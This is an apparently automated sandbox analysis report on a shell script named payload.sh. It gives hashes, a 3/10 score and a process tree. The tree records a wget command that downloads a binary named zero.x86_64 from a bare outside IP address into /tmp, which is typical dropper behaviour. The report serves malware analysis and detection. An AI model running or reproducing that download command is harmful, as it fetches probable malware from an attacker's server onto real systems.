a25ae8f7c226cb4fe3a3b278cdf708d3fe22b45652f8ec9f78bae6c1d76fbca8

Analysis

max time kernel
146s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/06/2026, 16:28

Target
payload.sh
Size 441B
Sample260619-tym1tshw5j
SHA256 a25ae8f7c226cb4fe3a3b278cdf708d3fe22b45652f8ec9f78bae6c1d76fbca8
MD5 719e039afa3f9f37780aa62258675593
SHA1 f3079caf4c7b1bb3423cefe82a6e8f3ce7e751b5
SHA512 e6f48f22a5854783031675f9f5eb20bd91c895a70d5954cdb8b37614fbf1b401d995bd6ab53eeeec38e74be6e216165f029dcfc301db55b5995d3f7b8f278936
TLSH
T172F02BBF346060345636D86893BD42A1B5065FFF44402F24384FA535AB6D21070E87DE
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zero	wget

/tmp/payload.sh
/tmp/payload.sh
1⤵
PID:642
- /usr/bin/wget
  wget -q http://217.60.195.146/bins/zero.x86_64 -O zero
  2⤵
  - Writes file to tmp directory
  PID:644